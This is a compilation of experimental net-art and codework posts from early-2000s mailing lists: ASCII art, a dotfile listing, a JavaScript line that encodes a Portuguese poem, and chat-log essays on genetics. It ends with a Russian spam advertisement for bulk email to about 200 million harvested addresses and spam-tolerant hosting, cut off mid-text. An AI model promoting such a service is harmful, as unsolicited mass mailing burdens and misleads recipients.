;;;/ / // ; ;'------~~~~~ ;;/\\\n~~ --~~ --~~-- (/ ---~~~/ ----> \\ //~;~~~~~~~~~ `\\ (,~~ \\~\\ \n \\,-~~~\\ / ; ( ---~~/ `::: ; <-~~ ,;::' \\ , o ); ; / ----~~/\n / / ~------~ /~;;. /;;' / --- > `----~~~~' / `: \\;\\ // /\\/~\n;;/\\ / // / \\;;,\\ (< ; /',/----( `;;;/ / // ; ;'------~~~~~ \n\\~\\ ~~ --~~~'~~/ ( ` / ) )))/ --' > \\ //~;~~~~~~~~~ `\\ (,~~ \n/ -----~~ ,;::' \\ , o ); ; / -~~~~~ \\ ---~~ --~~-- (/ ---~~~\n , /'/ / / -~ / -~ ( ( / /' -~---~~ , // , //,/ -~ // / -~ /\n,)))))));, \\/~- --~~ --~~ /~  -~ ,/' \\~\\/'/ --~~ --\\ -~ /, \n// / -~ / , /'/ / / -~ / -~ ( -~ / ))))))))) , // , //,/ -~ \n-\\ -~ /, ,)))))));, \\/~- --~~( / /' -~ -~ ,/' \\~\\/'/ --~~ -\n>/\\ / --~~ \\-~~ -~ -\\((((('''' --~~ /~ -~ / ))))))))))))));,\n-==//////(('' . `)))))), / ---(((((((( >~\\/ --~~ --~' -~ ~ -\n-~~~'~~/ ( ` / ) )))/ ~~~~~ \\ ~~ ~~\\~~ --~ ))  {AT}  ;-. (((((/ -\n~ ,;::' \\ , o ); ; / ----~~/ \\---~~ --~~-- (/ ---~~~/ -----~\n `----~~~~' / `: \\;\\ // /\\/~ /,-~~~\\ / ; ( ---~~/ `::: ; < >\n `;;;/ / // ; ;'------~~~~~ ;; / ~------~ /~;;. /;;' / ----(\n' > \\ //~;~~~~~~~~~ `\\ (,~~ \\~/\\ / // / \\;;,\\ (< ; /',/-----\n-\\(((((''''(((((((( >~\\/ --~~ \\ ~~ ))));,>/\\ / --~~ \\-~~ -~ \n)))), / ---~~ ~~\\~~ --~ ))  {AT}  ;--~' -~ ~ --==//////(('' . `))\n)/ ~~~~~ \\ ---~~ --~~-- (/ ----. (((((/ --~~~'~~/ ( ` / ) ))\n/ ----~~/ \\,-~~~\\ / ; ( ---~~/~~~/ -----~~ ,;::' \\ , o ); ; \n\\ // /\\/~ / / ~------~ /~;;. / `::: ; < > `----~~~~' / `: \\;\n---~~~~~ ;;/\\ / // / \\;;,\\ (< ;;' / ----( `;;;/ / // ; ;'---\n `\\ (,~~ \\~\\ ~~ / \\,-~~~\\ / ; ; /',/-----' > \\ //~;~~~~~~~~~\n / `: \\;\\ // /\\/~ / / ~------~( ---~~/ `::: ; < > `----~~~~'\n ; ;'------~~~~~ ;;/\\ / // / \\ /~;;. /;;' / ----( `;;;/ / //\n , // , //,/ -~ // / -~ / , /';;,\\ (< ; /',/-----' > \\ //~;~\n/' \\~\\/'/ --~~ --\\ -~ /, ,)))/ / / -~ / -~ ( ( / /' -~ -~ ,\n))))))))))))));,>/\\ / --~~ \\-~))));, \\/~- --~~ --~~ /~ -~ / \n--~~ --~' -~ ~ --==//////(('' ~ -~ -\\(((((''''(((((((( >~\\/ \n)  {AT}  ;-. (((((/ --~~~'~~/ ( ` /. `)))))), / ---~~ ~~\\~~ --~ )\n/ ---~~~/ -----~~ ,;::' \\ , o  ) )))/ ~~~~~ \\ ---~~ --~~-- (\n--~~/ `::: ; < > `----~~~~' / ); ; / ----~~/ \\,-~~~\\ / ; ( -\n;;. /;;' / ----( `;;;/ / // ; `: \\;\\ // /\\/~ / / ~------~ /~\n\\ (< ; /',/-----' > \\ //~;~~~~;'------~~~~~ ;;/\\ / // / \\;;,\n`\\ (,~~ \\~\\ ~~ ~~~~~ `\\ (,~~ \\~\\ ~~ ~~~~~~~~                \n \n            ^^                    {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n       ^^       ^^             {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                             {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}               ^^\n                            {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n ~~~~ ~~ ~~~~~ ~~~~~~~~ ~~ &&&&&&&&&&&&&&&&&&&& ~~~~~~~ ~~~~~~~~~~~ ~~~\n ~         ~~   ~  ~       ~~~~~~~~~~~~~~~~~~~~ ~       ~~     ~~ ~\n   ~      ~~      ~~ ~~ ~~  ~~~~~~~~~~~~~ ~~~~  ~     ~~~    ~ ~~~  ~ ~~\n   ~  ~~     ~         ~      ~~~~~~  ~~ ~~~       ~~ ~ ~~  ~~ ~\n ~  ~       ~ ~      ~           ~~ ~~~~~~  ~      ~~  ~             ~~\n       ~             ~        ~      ~      ~~   ~             ~           ,|     \n                             //|                              ,|\n                           //,/                             -~ |\n                         // / |                         _-~   /  ,\n                       /'/ / /                       _-~   _/_-~ |\n                      ( ( / /'                   _ -~     _-~ ,/'\n                       \\~\\/'/|             __--~~__--\\ _-~  _/,\n               ,)))))));, \\/~-_     __--~~  --~~  __/~  _-~ /\n            __))))))))))))));,>/\\   /        __--~~  \\-~~ _-~\n           -\\(((((''''(((((((( >~\\/     --~~   __--~' _-~ ~|\n  --==//////((''  .     `)))))), /     ___---~~  ~~\\~~__--~ \n          ))|  {AT}     ;-.     (((((/           __--~~~'~~/\n          ( `|    /  )      )))/      ~~~~~__\\__---~~__--~~--_\n             |   |   |       (/      ---~~~/__-----~~  ,;::'  \\         ,\n             o_);   ;        /      ----~~/           \\,-~~~\\  |       /|\n                   ;        (      ---~~/         `:::|      |;|      < >\n                  |   _      `----~~~~'      /      `:|       \\;\\_____// \n            ______/\\/~    |                 /        /         ~------~\n          /~;;.____/;;'  /          ___----(   `;;;/               \n         / //  _;______;'------~~~~~    |;;/\\    /          \n        //  | |                        /  |  \\;;,\\              \n       (<_  | ;                      /',/-----'  _>\n        \\_| ||_                     //~;~~~~~~~~~ \n            `\\_|                   (,~~ \n                                    \\~\\ \n                                     ~~\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: secrets\nDate: Sat, 27 Dec 2003 10:37:50 -0500 (EST)\n\n\n\nsecrets\n\n\nftp> ls .B.blend .Bfont .Bfs .Blog .Bpib\n.DCOPserver_localhost.localdomain_:0 .DCOPserver_localhost.localdomain__0\n.ICEauthority .Xauthority .Xresources .auto .autorun.lck .bash_history\n.bash_logout .bash_profile .bashrc .bcast .cpan .cshrc .emacs.d .filmgimp\n.first_start_kde .fonts.cache-1 mr bush eats his beef .galeon .gconf\n.gconfd .gimp-1.2 .gnome .gnome2 .gnome2_private .gnome_private .gtkrc\n.gtkrc-kde .gtoasterrc .julu .kde .kderc .libquicktime_codecs .mc .mcop\n.mcoprc .memo .mix2000rc .mozilla .pinerc .qt .rhn-applet.conf .rmm\n.tcshrc .trace .w3m .xcdroast .xmovierc .xsession-errors .xvpics\nsorry, input line too long\n\n\n\n_\n\n\nDate: Fri, 5 Mar 2004 08:57:30 -0300\nFrom: ||| | |||||| | ||| |||| <vibri {AT} internet.com.uy>\nTo: soft_skinned_space <empyre {AT} lists.cofa.unsw.edu.au>\nSubject: Re: [-empyre-] Forward from Nira.\n\n--->\n\ndocument.write(String.fromCharCode(68,69,83,69,74,69,79,81,85,69,84,69,67,69\n,65,84,69,73,65,86,69,69,65,71,69,65,65,86,69,86,69,79,81,85,69,68,69,86,69,\n72,79,74,69,86,69,65,84,69,83,69,69,77,69,68,69,79,81,85,69,67,65,66,69,65,6\n7,69,73,84,69,65,67,69,73,84,69,81,85,69,69,85,84,69,66,69,73,74,69,83,69,69\n,85,84,69,66,69,73,74,69,73,83,69,69,85,84,69,66,69,73,74,69,83,69,65,67,69,\n68,69,83,83,69,69,77,69,68,69,83,83,69,69,76,69,65,81,85,69,67,69,69,77,69,6\n7,69,68,69,69,77,69,66,69,66,69,68,69,73,84,69,83,69,69,77,69,68,69,73,84,69\n,69,77,69,66,69,73,74,69,65,84,69,81,85,69,69,83,83,69,83,69,68,69,83,69,74,\n69,67,69,83,83,69));\n\n<--->\n\nDESEJE O QUE TECE ATEIA VE E AGE A AVE VE O QUE DEVE HOJE VE A TESE E MEDE O\nQUE CABE ACEITE ACEITE QUE EU TE BEIJE SE EU TE BEIJEI SE EU TE BEIJEI SE\nACEDESSE E ME DESSE ELE AQUECE E ME CEDE E ME BEBE DEITE-SE E ME DEITE E ME\nBEIJE ATE QUE ESSE SE DESEJE CESSE\n\n<--->\n\n.toBinary\n\n0100010001000101010100110100010101001010010001010010000001001111001000000101\n0001010101010100010100100000010101000100010101000011010001010010000001000001\n0101010001000101010010010100000100100000010101100100010100100000010001010010\n0000010000010100011101000101001000000100000100100000010000010101011001000101\n0010000001010110010001010010000001001111001000000101000101010101010001010010\n0000010001000100010101010110010001010010000001001000010011110100101001000101\n0010000001010110010001010010000001000001001000000101010001000101010100110100\n0101001000000100010100100000010011010100010101000100010001010010000001001111\n0010000001010001010101010100010100100000010000110100000101000010010001010010\n0000010000010100001101000101010010010101010001000101001000000100000101000011\n0100010101001001010101000100010100100000010100010101010101000101001000000100\n0101010101010010000001010100010001010010000001000010010001010100100101001010\n0100010100100000010100110100010100100000010001010101010100100000010101000100\n0101001000000100001001000101010010010100101001000101010010010010000001010011\n0100010100100000010001010101010100100000010101000100010100100000010000100100\n0101010010010100101001000101010010010010000001010011010001010010000001000001\n0100001101000101010001000100010101010011010100110100010100100000010001010010\n0000010011010100010100100000010001000100010101010011010100110100010100100000\n0100010101001100010001010010000001000001010100010101010101000101010000110100\n0101001000000100010100100000010011010100010100100000010000110100010101000100\n0100010100100000010001010010000001001101010001010010000001000010010001010100\n0010010001010010000001000100010001010100100101010100010001010010110101010011\n0100010100100000010001010010000001001101010001010010000001000100010001010100\n1001010101000100010100100000010001010010000001001101010001010010000001000010\n0100010101001001010010100100010100100000010000010101010001000101001000000101\n0001010101010100010100100000010001010101001101010011010001010010000001010011\n0100010100100000010001000100010101010011010001010100101001000101001000000100\n001101000101010100110101001101000101\n\n......\n\n\n \\|/ \u0407`\u00b7.\u0451\u0451.\u00b7\u0491\u0407`\u00b7.\u0451\u0451.\u00b7\u0491\u0407\u0407`\u00b7\u0451\n  |\n  |\n__+__netart.org.uy__________\n----- Original Message -----\n\n\n\n\n----- Original Message -----\nFrom: \"Henry Warwick\" <henry.warwick {AT} sbcglobal.net>\nTo: \"soft_skinned_space\" <empyre {AT} lists.cofa.unsw.edu.au>\nSent: Thursday, March 04, 2004 6:48 PM\nSubject: Re: [-empyre-] Forward from Nira.\n\n\n> Greetings all.\n>\n> Interesting. A kind of phonetic 1337 for Brazilian\n> poetry.\n>\n> Here's DZG reciphered into a marginally understandable\n> form. 5 cosmic karma points for the person who figures\n> out the source of the cipher...\n>\n> 686983697469\n>\n> 79 818569 84696769 65 84697365 8669 69 657169\n>\n> 65 658669 8669 79 818569 68698669 72797469\n>\n> 8669 65 84698369 69 77696869 79 818569 67656669\n>\n> 656769738469 656769738469 818569 6985 8469 6669737469\n> 8369 6985 8469 666973746973 8369 6985 8469 6669737469\n>\n> 8369 6567696869838369 69 7769 6869838369 697669\n>\n> 658185696769 69 7769 67696869 69 7769 66696669\n>\n> 6869738469-8369 69 7769 6869738469\n>\n> 69 7769 6669737469\n>\n> 658469 818569 69838369 '8369 686983697469' 6769838369\n>\n>\n> HW\n>\n> \"There are 10 kinds of people in this world: people\n> who can count in binary and people who can't.\"\n> _______________________________________________\n> empyre forum\n> empyre {AT} lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n\n\nempyre forum\nempyre {AT} lists.cofa.unsw.edu.au\nhttp://www.subtle.net/empyre\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: God_mimi.Cry_[IRC x.tracting]\nDate: Tue, 09 Mar 2004 18:31:10 +1100\n\n\n_______________________________________________________\nGod_mimi.Cry_[IRC x.tracting]     06:23pm 09/03/2004\n_______________________________________________________\n\n][mood:  dirty][\n][music: 3dxxxx_tweakers][\n\n\n\n\n- cloning.failure.rates +validity of essentially harvesting siblings via a \ndesigner process in order to combat genetic diseases\n- screening.may b.acceptable +but actively engineering a child to provide \nbone marrow that will save another child =harvesting\n- very Brave.New.Worldish.\n\n\n+\ndiscarded.embryos [effectively \"screened\" + \"terminated\" +2 get that \nspecific.dna.clot]\n+\ndark.figure.cloning -thousands of faux.mutated animals [and probably \nhumans] used in order 2 produce \"successes\".\n\n\n\n---------------------------------------------------------------------disrupting \nthe very fabric of functional} evolution.\n\n\n\n\n\n- how.du.u.class deformity? +how r we to know that that very \"deformity\" \nisn't evolution on a projected scale?\n- mutation.is.evolution's.[m]arrow. +should we play[ {AT} ] g.od[dessa] \n+actively select who falls into that normalisation category and who doesn't??\n\n\n<][mez][> no\n<][mez][> we won't.\n\n\n\n-------------------------------------------------------------we.need.2.keep.a.lid \non +hyperaccerlation of these so called genetic fixes that\n\n+\nmay effect [xxxx's] progression in terms of attempting 2\n\n\n----------------------------------------------------------quantum.leap ^up^ \nthe phylogenetic scale.\n\n\n(vaccinations) = a social necessity\nif(then) = raising ur child as part of a mainstream westernised community\n= chemical buildup/antibody reactive base\n= [add.ON engineering]\n\n\n<][xxxx][> ..but at least its within the parameters of an enclosed system \n[if u believe current scientific theory that is]\n<][xxxx][> nature [as in ecosystem-based] is contained, and part of that is \nstruggle for survival and reproduction, yus?\n<][xxxxx][> eros and thantos\n<][xxxx[> self-replicating [and NOT individualisation] is necessary to that \nsystem\n\n[housing.of.the.concept.of.evolution]\n\n<][xxxx][> ..so i guess its playing mini-god, or god_mimickry, within \nparameters that allow for it, especially in terms of a more naturalised \nperspective.\n<][xxxxxxxx][> of course as humans we are so species_centric and \noverpopulate beyond the boom/bust cycle of resource usage [ie \nlemmings-style cycle of overpopulate then actively self-cull] that we fuck \nthis delicate balance up\n\n<][xxxxx][> we hyperaccelerate beyond the parameters defined by the strict \nconcept of evolution.\n<][xxxx][> ..but _beyond_ the accepted pattern of functional species \nadaptation....\n<][xxxxx][> the whole point of this discussion re: genetic modification is \nthat nothing exists in isoltion\n<][xxxxx][> isolation, even\n<][xxxx][> that the whole spectrum of altering *1* organisms genetic \nbehaviour [culturally decreed as well as biologically] will effect all.\n\n\n[pinprick_evolution]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n\n\nFrom: noemata <noemata {AT} kunst.no>\nTo: _arc.hive_ <_arc.hive_ {AT} lm.va.com.au>, WRYTING <WRYTING-L {AT} LISTSERV.UTORONTO.CA>\nSubject: gravity stretched smileys for you\nDate: Mon, 08 Mar 2004 13:51:20 +0100\n\n                         _____              _____\n_____\n                        _    _              _    _\n_    _\n________________________     _              _\n______________________________\n_\n_                            _              _\n_\n_                         ___               _\n_\n_____________            _                  ___________________________\n___\n             _            _                                            _\n___\n              _           _                                         ___\n___\n             _          __                                       ___\n___\n        _____          _                                      ___      ___\n        _____          _                                   ___      ___\n             _          __                              ___      ___\n              _           _                          ___      ___\n______________            _                       ___        _\n_                       __                     ___\n________________________\n_                     __                    ___\n_\n_     ________________                      _\n_\n_    _                                      _\n______________________________\n_\n_____                                       _    _\n_    _\n                                            _____\n_____\n      ______\n\n\n\n\n_    _\n_\n\n_____\n\n\n      ______\n    __________________     _\n_                       _____\n______\n_                      _\n___\n_     ____________      _\n__\n_    _            __     __\n____________\n_____               ___    __\n\n\n                       _     _\n                       _     _\n                    ___    __\n                  __     __\n                  _    __\n                                          _    _      _    _      _    _\n_    _                             ______\n_____                              _    _\n                                   _    _\n                __________________\n___\n_     __\n_    _\n_____\n\n      ___      _______\n   ___   ______\n___     _\n___     _\n   ___   ______\n      ___      _______\n         ___          ________\n_    _      _          ___\n_    _      _       ___\n ______     ________\n\n\n\n\n\n\n\n\nDate: Thu, 11 Mar 2004 12:55:35 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: unstaring ($moner)\n\nunstaring ($moner)\n\ntoo ($much, $mailer, $wait)\n\nguided ($to, $single, $molecule, $subject)\n\ntransmitter ($integrates, $single)\n\nphillies ($entebbe, $though, $fairy, $tye, $cloturing, $obey, $goat)\n\nnot ($art, $not, $myself, $n, $zero, $skip, $server)\n\nauthentication ($honest, $ideal, $strive, $ever, $toward, $it, $dont, $know)\n\nlord ($is, $told)\n\nuntil ($now, $sordet)\n//>> >> > >> >> > Hei, $igjen ! >> > >> > >> Hmmm, $jeg >> > ----- >\n// 9:12 AM responsible for\n\nthe ($acts , $above, $named)\n\nand ($so, $bits, $continue, $you)\n\nto ($church, $position, $signifying, $all)\n\nwhere ($they, $are, $all, $your, $heart)\n\nInto ($your, $reply, $I, $feel, $q)\n//out: 0031620889588\n\nyorick ($n, $crosshatches)\n\nmorse ($safiatu, $ordancy)\n\nhouse ($bands, $set)\n//out: 0031620889588\n\ndeposited (therface)\n\nintegralla ($tragi, $ore, $loofah., $ann, $collude)\n\nhappiness ($is, $letter, $_n)\n//_, $_, $____, $_, $_]\n\nof ($name , $same, $time)\n\nbut ($that, $would, $be, $performed)\n\nTransmitter ($__integrates, $peace., $dont)\n\njedd ($effect, $as, $but, $viled)\n\nis ($years, $without, $hold, $all, $yours, $Any)\n\nself-assembled ($yet, $reconfigurable, $havses)\n\ncreated ($by &$unbelievers., $shall, $give, $on) //callback\n\n//drib ($skip)\n\nthe ($__American, $__Destitute , $number , $good, $metaphor)\n\nthey ($transmit tegrate, $mised, $alph)\n\nbecause ($telecom) //call by the one\n\nprayerful ($all, $things)\n\none ($bit $off)\n\ninformation ($down, $an, $optic, $soup) //skeletal\n\nriffle ($willy, $give, $miaow, $modernisable, $hame, $whig, $toy) //well..\n\ncome8 $your, $bosom $such, $devices, $post)\n//, $|, $|__|, $|, $|, $|, $|___, $|___, $|___, $|_, $_, $____, $___\n// + \\n at every, $\n\njuges ($ago, $having, $little, $one, $mongol)\n\n\n\n// the remainder not in use, just ignore. ( for reference docs )\n\nConsist ($largely , $eleven, $years, $per, $way)\n/* -- alpha ver\nam ($desired, $signal, $pattern, $before, $his, $dared, $shall, $give)\nthe ($unit, $can, $be, $transmitted, $lite., $one, $way , $theo, $there)\ncramming ($more, $data, $storage, $different, $channels, $one)\nwhich ($mingels, $marred, $who, $worked, $with, $liquid, $exist) */\n\nConsist ($largely , $tasks formation, $is, $stillifed)\n/* -- alpha ver\nInterference ($corresponding)\nMake ($moreto, $derious, $than, $previous, $widely, $tuntable)\ncarw ($from, $que, $wait.., $wanted, $bit, $could, $be, $bi-levelt) */\n\nConsist ($largely , $co, $fold, $me)\n/* -- alpha ver\nthats ($responsible, $for, $acts)\nto ($ensure, $that, $strokes, $crash, $car, $ess)\ndischarging ($molecular, $rivers, $consisting , $nothing)\nis ($it, $worske, $hushiledoug)\ngnomons (, $condition, $dont, $shouldnt, $cannons) */\n\nConsist ($largely , $re, $agents, $will, $alter, $them)\n/* -- alpha ver\nThe ($two, $binary, $slates, $fun f, $been, $created)\nunbelieved\nshall ($give, $ore, $hold) */\n\nConsist ($largely , $ungodly, $manners)\n/* -- alpha ver\nHence ($word , $move, $up, $Tehreis, $earths, $away)\nLitter ($oaf, $athwart, $tuti, $will, $act, $haved)\nneeding ($liquid, $thats, $done) */\n\nConsist ($largely , $this, $todo)\n/* -- alpha ver\nnew ($rangements, $for, $homo, $genom, $which, $mixing , $dig, $all,\n$headers)\nInference ($tending) */\n\nConsist ($largely , $spirit, $microcrystallization)\n/* -- alpha ver\ncan ($be, $read, $back, $out, $new, $job, $see, $rotors, $are, $made)\nConstructive ($one) */\n\n\n\nFrom: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: NULL\nDate: Sat, 6 Mar 2004 21:45:04 +0000\n\n * T         \n _=/./; /* /./   {AT} ] . T          */\n  = {AT} [[/ {AT} ; /* = {AT} [[/ {AT}   / {AT} / {AT} ]/\n\t\t        * =/[+ {AT} ~ {AT}    {AT} ]/ {AT} //\n * T       , ,   .\n * T           .\n  _; /* T     -  \n                        *   /     ( \n\t\t\t*        )\n\t (;;--){\n\t (;;--){\n\t (;;--){\n\t (;;--){\n\t (;;--){\n\t (;;--) *_++=;\n\t (;;--){\n\t (;;--){\n\t (;;--){\n\t (;;--){\n\t\t (;;--){\n\t\t (;;--,+=/)  (=;;--,+=/){\n/* W     . L ,   .\n/* W     . L ,   .\n * I */<=,  _,    LCD.\n\t\t(;;--,+=)\n\t\t (;;--){\n * P      . D   ///\n * P         .\n\t\t\t (;;--,+=],+=/){\n\t\t\t (;;--){\n\t\t\t\t (+=],+=/,=- {AT} ;;--,+=],+=/){\n\t\t\t (;;--,+=],+=/){\n\t\t\t (;;--){\n\t\t\t\t (+=],+=/,=- {AT} ;;--,+=],+=/){\n *      . T    \n\t (;;--){\n\t (;;--){\n\t (;;--){\n\t (;;--)\n\t (;;--)\n\t (;;--)\n\t (;;--)\n\t (;;--,+=/,+=/)\n\t (;;--,+=/,+=/)\n\t (;;--,+=/,+=/)\n\t\t (=/;< {AT} [ {AT} ;++,_/ {AT} ++){\n\t\t (=/;< {AT} [ {AT} ;++,_/ {AT} ++){\n\t\t (=/;< {AT} [ {AT} ;++,_/ {AT} ++){\n\t\t (=/;<//////;++,_/ {AT} ++){\n\t\t (=/;<//////;++,_/ {AT} ++){\n\t\t (=/;<//////;++,_/ {AT} ++){\n\t (;;--,+=/,+=/)\n\t\t     *   .\n *   NULL.\n\t (_=_-/;_;_--)\n *  /]/ {AT} [[+( {AT} [[-/]). N      ,    .\n\t (/=/;/<*;/++) [/]=*+**/;\n\t (;__;__--){\n\t (/=;/;/--){\n\t (/=;/;/--){\n\t\t (/=*;/;/--){\n\t/* T BW         \n\t\t/* A   LCD */\n\t (=/;< {AT} ;++){\n\t\t (=/;<_;++){\n\t\t/* W         */\n\t\t/* W         */\n * O:          \n\n\nDate: Sat, 13 Mar 2004 22:12:16 +1100\nFrom: \"][mez][\" <netwurker {AT} HOTKEY.NET.AU>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: _E.Quiver[.lancies]_ x3\n\nS/kin/ned_N_M/Pact/ed\n10:08pm 13/03/2004\n   - nbase\n/nbase/media\n\n[broken.cun[t]eiform.whorls vs. skin.pacts]\n\n\n_death_rat[tle]_\n02:56pm 13/03/2004\n   depth.charger.rattling.thru.mixed.[complexity.sp]heres\n\n\n\ne\n\n\n_E.Quiver[.lancies]_\n10:35am 13/03/2004\n   e.Quivering.thru.geo.absences\n\n\n.\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n\n\n\nFrom: igorek <igorek {AT} koreamail.co.kr>\nTo: majordomo <majordomo {AT} bbs.thing.net>\nSubject: Re:Loading - cedoa\nDate: Wed, 10 Mar 2004 15:14:52 -0800\n\nh1\n\n\n\n                          C. E. D. O. A.\n\n\n!!!!       \u0414\u0415\u041b\u0410\u0415\u041c \u0414\u0415\u041d\u042c\u0413\u0418!!! \u0414\u0415\u041b\u0410\u0415\u041c \u041a\u041b\u0418\u0415\u041d\u0422\u041e\u0412!!! \u0414\u0415\u041b\u0410\u0415\u041c \u0420\u0415\u041a\u041b\u0410\u041c\u0423!!!\n\n \n\u041d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0432\u044b\u043a\u0438\u0434\u044b\u0432\u0430\u0442\u044c \u0434\u0435\u043d\u044c\u0433\u0438 \u043d\u0430 \u043f\u0443\u0441\u0442\u0443\u044e \u0440\u0435\u043a\u043b\u0430\u043c\u0443. \u041d\u0430\u0448\u0430 \u0443\u0441\u043b\u0443\u0433\u0430 \u0437\u0430 \u0441\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u044b \n\u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0443\u0437\u043d\u0430\u0442\u044c \u043e \u0432\u0430\u0448\u0435\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \n\u041f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043d\u0430\u0448\u0435\u0439 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432\u0430\u0448\u0435\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438\n\u0438\u043b\u0438 \u0432\u0430\u0448\u0435\u043c \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u041d\u0430\u0448\u0430 \u0431\u0430\u0437\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\n\u043e\u043a\u043e\u043b\u043e 200 000 000 e-mail \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442\u0441\u044f, \u0442\u0430\u043a\u0436\u0435 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435\n\u0437\u0430\u043a\u0430\u0437\u0430\u0442\u044c \u043d\u0430\u043c \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0443 \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u043e\u0432, \u043a\u0430\u043a\u0438\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0442\u0443 \n\u0438\u043b\u0438 \u0438\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n!!!!!!!\n\u0417\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043b\u0438\u0446 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f:   \n \n                ce_pochta_doa {AT} land.ru\n\n                     ICQ : 819636\n\n\n\u0412\u0430\u043c \u043d\u0443\u0436\u0435\u043d \u0445\u043e\u0441\u0442\u0438\u043d\u0433 , \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u0432\u044b\u043a\u043b\u044e\u0447\u0430\u0442 \u0437\u0430 \u0441\u043f\u0430\u043c?\n\u0414\u0435\u0448\u0435\u0432\u043e , \u0411\u044b\u0441\u0442\u0440\u043e , \u041d\u0430\u0434\u0435\u0436\u043d\u043e!\n98 % Uptime , Adult content supported.\n\u041e\u0431 \u044d\u0442\u043e\u043c \u0441\u0442\u043e\u0438\u0442 \u043f\u043e\u0434\u0443\u043c\u0430\u0442\u044c!!!\n                                                           \n\n      \u0414\u0415\u041b\u0410\u0415\u041c \u0414\u0415\u041d\u042c\u0413\u0418!!! \u0414\u0415\u041b\u0410\u0415\u041c \u041a\u041b\u0418\u0415\u041d\u0422\u041e\u0412!!! \u0414\u0415\u041b\u0410\u0415\u041c \u0420\u0415\u041a\u041b\u0410\u041c\u0423!!! \n\n\n------------------------------------------------------------------------------------------------------------------------  \n\"\u0412\u0430\u0448 \u0430\u0434\u0440\u0435\u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0432\u0437\u044f\u0442 \u0438\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432\"\n\u042d\u0442\u043e \u043f\u0438\u0441\u044c\u043c\u043e \u043d\u0435 \u043d\u0435\u0441\u0435\u0442 \u0432 \u0441\u0435\u0431\u0435 \u0443\u0433\u0440\u043e\u0437\u044b \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c.\n\u042d\u0442\u043e \u0434\u0435\u043b\u043e\u0432\u043e\u0435 \u0440\u0435\u043a\u043b\u0430\u043c\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u043d\u043e\u0435 \u043d\u0430\u0434\u0435\u0436\u0434\u043e\u0439\n\u043d\u0430 